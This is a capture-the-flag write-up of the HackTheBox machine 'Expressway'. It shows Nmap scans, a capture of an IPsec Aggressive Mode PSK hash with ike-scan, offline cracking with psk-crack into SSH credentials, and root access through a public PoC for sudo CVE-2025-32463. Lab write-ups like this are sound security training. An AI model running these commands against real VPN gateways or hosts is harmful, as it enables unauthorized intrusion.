BACK TO HUB
EASY DIFFICULTY

EXPRESSWAY

TARGET OS: LINUX | AUTHOR: LEANDROS

Expressway is an Easy-rated Linux machine on HackTheBox that teaches a fundamental, yet often overlooked lesson in penetration testing: Never ignore UDP ports. After finding nothing but SSH on the TCP side, I enumerated a hidden IPsec VPN endpoint, exploited its "Aggressive Mode" configuration to capture an offline PSK hash, and cracked it for initial access. Privilege escalation involved identifying a very recent vulnerability in the Sudo binary to pop a root shell. Here is my complete mission log.

PHASE 1: RECONNAISSANCE

As always, I started my reconnaissance with a comprehensive TCP port scan using Nmap to identify any open services and potential entry points.

TERMINAL - NMAP TCP SCAN
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p22 <IP>
OUTPUT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The results were incredibly sparse—only SSH was exposed. Since OpenSSH 10.0p2 is highly secure and we don't have any credentials, hitting a dead end on TCP means it's time to pivot. When TCP comes up empty, I immediately switch to scanning UDP ports to see if there are any hidden services listening in the shadows.

TERMINAL - NMAP UDP SCAN
nmap -sU --min-rate 1000 --top-ports 100 <IP>
OUTPUT
PORT      STATE  SERVICE
500/udp   open   isakmp
...
Nmap done: 1 IP address (1 host up) scanned in 0.54 seconds

Bingo. Port 500 UDP is open, which is the standard port for ISAKMP (Internet Security Association and Key Management Protocol). This tells me there is an IPsec VPN endpoint running on this machine. I ran a targeted Nmap script scan against this port to gather more details.

TERMINAL - IKE ENUMERATION
nmap -sU -p 500 -sV --script ike-version <IP>

The scan confirmed the service supports XAUTH (Extended Authentication) and Dead Peer Detection v1.0. Knowing it's an IKE VPN, the next logical step is to check if it's vulnerable to offline password cracking.

PHASE 2: IPSEC EXPLOITATION

[!] VULNERABILITY DETECTED: IKE AGGRESSIVE MODE ENABLED

IPsec VPNs can operate in two phases for initial key exchange: Main Mode or Aggressive Mode.

Aggressive Mode is inherently insecure because the VPN gateway transmits the Pre-Shared Key (PSK) hash to the client before authenticating the client's identity. This allows an attacker to capture the hash and crack it offline.

To test if Aggressive Mode was enabled, I utilized a tool called ike-scan and sent a dummy handshake request.

TERMINAL - IKE-SCAN
ike-scan -A --id=test <IP>
OUTPUT
10.10.11.87     Aggressive Mode Handshake returned HDR=(CKY-R=6bef8cd3620d6de4) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)

The server responded favorably! Not only did it confirm Aggressive Mode is active, but it also leaked an internal Fully Qualified Domain Name (FQDN): ike@expressway.htb.

I immediately mapped expressway.htb to my /etc/hosts file. Now that I knew the exact ID format the server expected, I could use ike-scan again, this time instructing it to dump the Pre-Shared Key hash into a file for cracking.

TERMINAL - CAPTURING THE PSK HASH
ike-scan -A --id=expressway.htb --pskcrack=expressway.psk <IP>

With the hash safely stored in expressway.psk, I fired up psk-crack (part of the ike-scan suite) and fed it a standard wordlist to run an offline dictionary attack.

TERMINAL - PSK-CRACK
psk-crack -d /usr/share/wordlists/rockyou.txt expressway.psk
OUTPUT
Running in dictionary cracking mode
key "freakingrockstarontheroad" matches SHA1 hash f1e7585855cf7f8b9622fd9753b91b9b27e3d949
Ending psk-crack: 8045040 iterations in 7.548 seconds

In just under 8 seconds, the hash was cracked. I now had valid credentials: user ike and the password freakingrockstarontheroad.

PHASE 3: INITIAL FOOTHOLD

Since SSH was the only TCP service running on the box, I tested my newly acquired credentials there.

TERMINAL - SSH ACCESS
ssh ike@<IP>

The password worked perfectly. I bypassed the perimeter, secured a shell as the user ike, and immediately grabbed the user.txt flag. Foothold secured.

PHASE 4: PRIVILEGE ESCALATION

With a low-privileged shell established, my next objective was enumerating the system for a path to root. I started by checking my user privileges and group assignments.

TERMINAL - ENUMERATION
id

The output showed I was part of the proxy group (gid=13). While interesting, exploring the proxy group permissions didn't yield any immediate local privilege escalation vectors.

My next standard check is evaluating the version of the sudo binary, as outdated versions are notorious for critical vulnerabilities.

TERMINAL - SUDO VERSION
sudo -V
OUTPUT
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50...

Seeing Sudo version 1.9.17 was a massive breakthrough. A quick search of recent vulnerability databases revealed that this exact version is vulnerable to CVE-2025-32463. This exploit takes advantage of a flaw in how specific Sudo versions parse environments or arguments, allowing a local user to execute commands with elevated privileges without needing root passwords.

I located a Proof of Concept (PoC) exploit script on GitHub by researcher kh4sh3i. I pulled the script down to the victim machine, made it executable, and fired it off.

PAYLOAD - CVE-2025-32463 EXPLOIT
chmod +x exploit.sh
./exploit.sh
OUTPUT
woot!
root@expressway:/# whoami
root
root@expressway:/# id
uid=0(root) gid=0(root) groups=0(root),13(proxy),1001(ike)

The exploit successfully manipulated the Sudo binary and dropped me into a root shell. I retrieved the root.txt flag. The system was completely compromised.